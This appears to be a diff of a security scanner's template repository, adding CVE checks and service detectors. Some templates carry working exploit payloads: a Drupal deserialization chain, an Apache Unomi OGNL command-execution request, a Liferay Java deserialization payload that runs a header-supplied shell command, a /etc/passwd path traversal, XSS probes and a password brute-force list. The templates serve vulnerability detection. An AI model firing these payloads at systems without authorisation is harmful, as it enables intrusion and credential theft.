+      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+    }
+  ],
+  "_links": {
+    "type": {
+      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
+    }
+  }
+}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "uid="
+          - "gid="
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200
@@ -17,7 +17,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
@@ -27,7 +26,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1
@@ -18,7 +18,6 @@ requests:
          Content-Type: application/json
          Origin: http://{{Hostname}}
          Referer: http://{{Hostname}}/artifactory/webapp/
-          Accept-Encoding: gzip, deflate
          Accept-Language: en-US,en;q=0.9
          Connection: close

@@ -0,0 +1,60 @@
+id: cve-2020-13942
+
+info:
+  name: Apache Unomi Remote Code Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    Remote Code Execution in Apache Unomi.
+    Apache Unomi allows conditions to use OGNL and MVEL scripting which
+    offers the possibility to call static Java classes from the JDK
+    that could execute code with the permission level of the running Java process.
+    This vulnerability affects all versions of Apache Unomi prior to 1.5.2. Apache Unomi users should upgrade to 1.5.2 or later.
+
+    References:
+    - https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
+    - https://twitter.com/chybeta/status/1328912309440311297
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/context.json"
+      - "{{BaseURL}}:8181/context.json"
+    headers:
+      Content-Type: application/json
+    body: |
+      {
+        "filters": [
+          {
+            "id": "nuclei",
+            "filters": [
+              {
+                "condition": {
+                  "parameterValues": {
+                    "nuclei": "script::Runtime.getRuntime().exec('id')"
+                  },
+                  "type": "profilePropertyCondition"
+                }
+              }
+            ]
+          }
+        ],
+        "sessionId": "nuclei"
+      }
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "application/json"
+          - "context-profile-id"
+        condition: and
+        part: header
+      - type: regex
+        regex:
+          - "(profile|session)(Id|Properties|Segments)"
+          - "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
+        condition: and
+        part: body
@@ -28,7 +28,7 @@ requests:
      - |
        POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
        Host: {{Hostname}}
-        cmd: exec
+        cmd: §exec§
        Connection: close
        Content-Type: application/x-www-form-urlencoded; charset=utf-8

@@ -0,0 +1,37 @@
+id: cve-2020-16846
+
+info:
+  name: SaltStack Shell Injection
+  author: dwisiswant0
+  severity: critical
+  description: |
+    SaltStack Salt through 3002. Sending crafted web requests to the Salt API,
+    with the SSH client enabled, can result in shell injection.
+
+    This template supports the detection part only. See references.
+
+    References:
+    - https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
+    - https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/run"
+      - "{{BaseURL}}:8000/run"
+    body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
+    headers:
+      Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 500
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: word
+        words:
+          - "An unexpected error occurred"
+        part: body
@@ -0,0 +1,39 @@
+id: cve-2020-26214
+info:
+
+  name: Alerta Authentication Bypass (CVE-2020-26214)
+  author: CasperGN
+  severity: critical
+  description: Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind reqests.
+
+  # Reference: https://github.com/advisories/GHSA-5hmm-x8q8-w5jh
+  # Reference: https://tools.ietf.org/html/rfc4513#section-5.1.2
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/api/config'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+        condition: or
+      - type: regex
+        regex:
+          - 'provider":"ldap"'
+          - 'provider": "ldap"'
+        condition: or
+    extractors:
+      - type: regex
+        part: body
+        name: alerta-version
+        group: 1
+        regex:
+          - 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+          - 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
@@ -25,7 +25,7 @@ requests:
        Content-Type: text/xml; charset=UTF-8
        Connection: close

-        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('data')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
+        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('§data§')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
    matchers-condition: and
    matchers:
      - type: word
@@ -26,7 +26,7 @@ requests:
    raw:
      - |
        POST /api/jsonws/invoke HTTP/1.1
-        Host: {{Hostname}}:port
+        Host: {{Hostname}}:§port§
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
        Content-Length: 4938
        Accept: */*
@@ -35,8 +35,7 @@ requests:
        Content-Type: application/x-www-form-urlencoded
        Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
        X-Requested-With: XMLHttpRequest
-        cmd2: command
-        Accept-Encoding: gzip, deflate
+        cmd2: §command§

        cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
    matchers-condition: and
@@ -49,7 +49,7 @@ requests:
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
-        rand_key: randkey
+        rand_key: §randkey§

        <appfwprofile><login></login></appfwprofile>

@@ -62,7 +62,7 @@ requests:
        Content-Type: application/xml
        X-NITRO-USER: oY39DXzQ
        X-NITRO-PASS: ZuU9Y9c1
-        rand_key: randkey
+        rand_key: §randkey§

        <clipermission></clipermission>

@@ -0,0 +1,31 @@
+id: cve-2020-8209
+
+info:
+  name: Citrix XenMobile Server Path Traversal
+  author: dwisiswant0
+  severity: high
+  description: |
+    Improper access control in Citrix XenMobile Server 10.12 before RP2,
+    Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10
+    before RP6 and Citrix XenMobile Server before 10.9 RP5 and leads to the ability to read arbitrary files.
+
+    References:
+    - https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body
+      - type: word
+        words:
+          - "fileDownload=true"
+          - "application/octet-stream"
+          - "attachment;"
+        condition: and
+        part: header
@@ -37,7 +37,7 @@ requests:
        content-type: application/json
        Connection: close

-        {"user":"admin","password":"grafana_password"}
+        {"user":"admin","password":"§grafana_password§"}

     # grafana_password will be replaced with payloads and will attempt admin:prom-operator and admin:admin

@@ -25,7 +25,7 @@ requests:
      - |
        GET /manager/html HTTP/1.1
        Host: {{Hostname}}
-        Authorization: Basic {{base64('username:password')}}
+        Authorization: Basic {{base64('§username§:§password§')}}
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
        Accept-Language: en-US,en;q=0.9
        Connection: close
@@ -7,8 +7,10 @@ info:

  # Update the list with more CNAMEs related to azure
  # You need to claim the CNAME in Azure portal (https://portal.azure.com) to confirm the takeover.
+  # Reference:- https://godiego.tech/posts/STO/, kudos to @secfaults for sharing process details.
  # Do not report this without claiming the CNAME.

+
 dns:
  - name: "{{FQDN}}"
    type: A
@@ -0,0 +1,71 @@
+id: mx-service-detector
+
+info:
+  name: E-mail service detector
+  author: binaryfigments
+  severity: info
+  description: Check the email service or spamfilter that is used for a domain.
+
+dns:
+  - name: "{{FQDN}}"
+    type: MX
+    class: inet
+    recursion: true
+    retries: 5
+    matchers-condition: or
+    matchers:
+      - type: word
+        name: "Office 365"
+        words:
+          - "mail.protection.outlook.com"
+      - type: word
+        name: "Google Apps"
+        words:
+          - "aspmx2.googlemail.com"
+          - "aspmx3.googlemail.com"
+          - "alt1.aspmx.l.google.com"
+          - "alt2.aspmx.l.google.com"
+          - "aspmx.l.google.com"
+      - type: word
+        name: "ProtonMail"
+        words:
+          - "mail.protonmail.ch"
+          - "mailsec.protonmail.ch"
+      - type: word
+        name: "Zoho Mail"
+        words:
+          - "mx.zoho.eu"
+          - "mx2.zoho.eu"
+          - "mx3.zoho.eu"
+      - type: word
+        name: "ForcePoint Email Security"
+        words:
+          - "in.mailcontrol.com"
+      - type: word
+        name: "E-Zorg NL"
+        words:
+          - "spamfilter02.ezorg.nl"
+          - "spamfilter01.ezorg.nl"
+          - "spamfilter.ezorg.nl"
+          - "spamfilter03.ezorg.nl"
+      - type: word
+        name: "Kerio Cloud EU"
+        words:
+          - "mx1.eu1.kerio.cloud"
+          - "mx2.eu1.kerio.cloud"
+      - type: word
+        name: "Kerio Cloud US"
+        words:
+          - "mx1.us1.kerio.cloud"
+          - "mx2.us1.kerio.cloud"
+          - "mx3.us1.kerio.cloud"
+      - type: word
+        name: "Proofpoint EU"
+        words:
+          - "mx1-eu1.ppe-hosted.com"
+          - "mx2-eu1.ppe-hosted.com"
+      - type: word
+        name: "Proofpoint US"
+        words:
+          - "mx1-us1.ppe-hosted.com"
+          - "mx2-us1.ppe-hosted.com"
@@ -0,0 +1,20 @@
+id: spoofable-spf-records-ptr
+
+info:
+  name: Find spoofable SPF records containing the PTR mechanism
+  author: binaryfigments
+  severity: info
+  description: Check if TXT records in DNS for SPF records that have the PTR mechanism that is spoofable.
+
+dns:
+  - name: "{{FQDN}}"
+    type: TXT
+    class: inet
+    recursion: true
+    retries: 3
+    matchers:
+      - type: word
+        words:
+          - "v=spf1"
+          - " ptr "
+        condition: and
@@ -14,7 +14,6 @@ requests:
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 1
        Connection: close
@@ -2,13 +2,17 @@ id: laravel-env

 info:
  name: Laravel .env file
-  author: pxmme1337 & dwisiswant0
+  author: pxmme1337 & dwisiswant0 & geeknik
  severity: medium

 requests:
  - method: GET
    path:
      - "{{BaseURL}}/.env"
+      - "{{BaseURL}}/.env.dev.local"
+      - "{{BaseURL}}/.env.development.local"
+      - "{{BaseURL}}/.env.prod.local"
+      - "{{BaseURL}}/.env.production.local"
    matchers-condition: and
    matchers:
      - type: regex
@@ -0,0 +1,25 @@
+id: redmine-db-config
+info:
+  name: Detect Redmine Database Configuration
+  author: geeknik
+  description: Redmine is a flexible project management web application written using Ruby on Rails framework - https://redmine.org/projects/redmine
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/config/database.yml"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - adapter
+          - database
+          - host
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,98 @@
+id: basic-auth-bruteforce
+
+info:
+  name: Basic Auth Bruteforce
+  author: "@w4cky_"
+  severity: high
+
+  # Impotent Notes:-
+  # This is specific template to work with basic 401 authentication endpoint.
+  # Do not run this template on non basic authentication related endpoints to avoid false positive results.
+
+requests:
+
+  - payloads:
+      username:
+        - admin
+        - manager
+        - administrator
+        - username
+        - login
+        - anonymous
+        - test
+        - guest
+        - root
+        - demo
+
+      password:
+        - admin
+        - pass1
+        - pass1
+        - root
+        - welcome
+        - p@ssw0rd
+        - user
+        - test
+        - testest
+        - dupa8
+        - admin123
+        - admin1234
+        - admin12345
+        - anonymous
+        - manager
+        - linux
+        - system
+        - oracle
+        - administrator
+        - 11111111
+        - qwerty123
+        - cisco123
+        - admin123456
+        - 1qazXSW@
+        - master
+        - 123qweasd
+        - 1qaz2wsx
+        - 123456789
+        - 1234567890
+        - !qaz@wsx
+        - !q@w
+        - wubao
+        - pa55w0rd
+        - 123abc
+        - 123456
+        - 123456789
+        - qwerty
+        - password
+        - 1111111
+        - 12345678
+        - abc123
+        - 1234567
+        - password1
+        - 12345
+        - 1234567890
+        - 123123
+        - 000000
+        - Iloveyou
+        - 1234
+        - 1q2w3e4r5t
+        - Qwertyuiop
+        - 123
+        - Monkey
+        - Dragon
+        - demo
+
+    attack: clusterbomb
+
+    raw:
+      - |
+        GET /protected HTTP/1.1
+        Host: {{Hostname}}
+        Authorization: Basic {{base64('§username§:§password§')}}
+        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
+        Accept-Language: en-US,en;q=0.9
+        Connection: close
+
+    matchers:
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,26 @@
+id: iis-shortname
+info:
+  name: iis-shortname
+  author: nodauf
+  severity: info
+  description: If IIS use old .Net Framwork it's possible to enumeration folder with the symbol ~.
+
+  # References:
+  # - https://github.com/lijiejie/IIS_shortname_Scanner
+  # - https://www.exploit-db.com/exploits/19525
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/N0t4xist*~1*/a.aspx"
+      - "{{BaseURL}}/*~1*/a.aspx'"
+  - method: OPTIONS
+    path:
+      - "{{BaseURL}}/N0t4xist*~1*/a.aspx"
+      - "{{BaseURL}}/*~1*/a.aspx'"
+
+    matchers:
+      - type: dsl
+        name: iis-scan
+        dsl:
+          - "status_code_1!=404 && status_code_2 == 404 || status_code_3 != 404 && status_code_4 == 404"
@@ -0,0 +1,35 @@
+id: wp-plugin-scan
+info:
+  name: Wordpress Plugin Scanner
+  author: pdteam
+  severity: info
+  description: wordlist based wordpress plugin scanner.
+
+requests:
+
+  - payloads:
+      plugin_wordlist: wordlists/wp-plugins.txt
+
+      # Thanks to RandomRobbieBF for the wordlist
+      # https://github.com/RandomRobbieBF/wordpress-plugin-list
+
+    attack: sniper
+    threads: 50
+
+    raw:
+      - |
+        GET /§plugin_wordlist§ HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        Accept-Language: en-US,en;q=0.5
+        Referer: {{BaseURL}}
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "== Description =="
@@ -2,7 +2,7 @@ id: basic-xss-prober

 info:
  name: Basic XSS Prober
-  author: nadino
+  author: nadino & geeknik
  severity: low

  # Basic XSS prober
@@ -12,7 +12,15 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e"
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "\"><injectable>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
@@ -5,8 +5,8 @@ info:
  # Name is the name of the template
  name: Top 15 XSS Check
  # Author is the name of the author for the template
-  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
-  author: foulenzer
+  # Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
+  author: foulenzer & geeknik
  # Severity is the severity for the template.
  severity: medium
  #  Description optionally describes the template.
@@ -15,14 +15,18 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
+      - "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss1%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss2%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss3%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss4%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss5%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss6%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss7%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss8%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss9%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss10%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss11%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss12%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss13%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss14%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss15%27%29%3E"
+    redirects: true
+    max-redirects: 1
    matchers-condition: and
    matchers:
      - type: word
        words:
-          - "<svg/onload=confirm('testing-xss')>"
+          - "<svg/onload=confirm('testing-xss"
        part: body
+
      - type: word
        words:
-          - "text/html"
-        part: header
+          - "application/json"
+        part: header
+        negative: true
@@ -0,0 +1,21 @@
+id: unencrypted-bigip-ltm-cookie
+
+info:
+  name: F5 BIGIP Unencrypted Cookie
+  author: PR3R00T
+  severity: info
+  reference: https://www.intelisecure.com/how-to-decode-big-ip-f5-persistence-cookie-values
+  mitigation: https://support.f5.com/csp/article/K23254150
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    redirects: true
+    matchers:
+      - type: regex
+        regex:
+          - '(BIGipServer[a-z\_\.\-\~0-9A-Z]*)=([0-9a-zA-Z\.]*;)'
+          - '=[0-9]*\.[0-9]{3,5}\.[0-9]{4};'
+        part: header
@@ -0,0 +1,23 @@
+id: xml-schema-detect
+info:
+  name: XML Schema Detection
+  author: alph4byt3
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/schema"
+
+    matchers-condition: and
+    redirects: true
+    matchers:
+      - type: word
+        words:
+          - ".xsd"
+          - "Schemas"
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -2,7 +2,7 @@ id: kubernetes-pods-api

 info:
  name: Kubernetes Pods API
-  author: ilovebinbash
+  author: ilovebinbash & geeknik
  severity: critical
  description: When the service port is available, anyone can execute commands inside the container. See https://github.com/officialhocc/Kubernetes-Kubelet-RCE for inspiration.

@@ -20,4 +20,7 @@ requests:
      - type: word
        words:
          - "application/json"
-        part: header
+        part: header
+      - type: status
+        status:
+          - 200
@@ -0,0 +1,24 @@
+id: apache-tomcat-snoop
+
+info:
+  name: Apache Tomcat example page disclosure - snoop
+  author: pdteam
+  severity: low
+  description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection.
+
+  # Reference:- https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/examples/jsp/snp/snoop.jsp"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - 'Request URI: /examples/jsp/snp/snoop.jsp'
+
+      - type: status
+        status:
+          - 200
@@ -19,12 +19,8 @@ requests:
        GET /testing-put.txt HTTP/1.1
        Content-Type: text/plain

-    matchers-condition: and
    matchers:
-      - type: status
-        status:
-          - 200
-
-      - type: word
-        words:
-          - testing-payload
+      - type: dsl
+        name: multi-req
+        dsl:
+          - 'contains(body_2, "testing-payload") == true'
@@ -84,6 +84,7 @@ requests:
          - "JMImplementation"
          - "EnvironmentManager"
          - "org.springframework.boot.loader"
+          - "health"
        condition: or
      - type: status
        status:
@@ -0,0 +1,22 @@
+id: basic-auth-detection
+
+info:
+  name: Basic auth detection
+  author: "@w4cky_"
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 401
+
+      - type: word
+        words:
+          - "Www-Authenticate:"
+        part: header
@@ -0,0 +1,24 @@
+id: kibana-detect
+
+info:
+  name: Kibana Service Detection
+  author: petruknisme
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/login?next=%2F"
+      - "{{BaseURL}}/bundles/login.bundle.js"
+      - "{{BaseURL}}/bundles/kibana.style.css"
+    headers:
+      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+    matchers:
+      - type: word
+        words:
+          - "<title>Kibana</title>"
+          - "kibanaLoaderWrap"
+          - "kibanaLoader"
+          - "xpack"
+          - "Elasticsearch B.V"
+        condition: or
@@ -0,0 +1,25 @@
+id: redmine-cli-detect
+info:
+  name: Detect Redmine CLI Configuration File
+  author: geeknik
+  description: A small command-line utility to interact with Redmine - https://pypi.org/project/Redmine-CLI/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/.redmine-cli"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - default
+          - my_id
+          - root_url
+        condition: and
+
+      - type: status
+        status:
+          - 200
@@ -2726,3 +2726,9 @@ requests:
          - "SEEEMS.FRAMEWORK"
        condition: or
        part: body
+
+      - type: regex
+        name: awselb
+        regex:
+          - 'awselb'
+        part: header
@@ -0,0 +1,24 @@
+id: terraform-detect
+info:
+  name: Detect Terraform Provider
+  author: geeknik
+  description: Write Infrastructure as Code - https://www.terraform.io/
+  severity: info
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/provider.tf"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
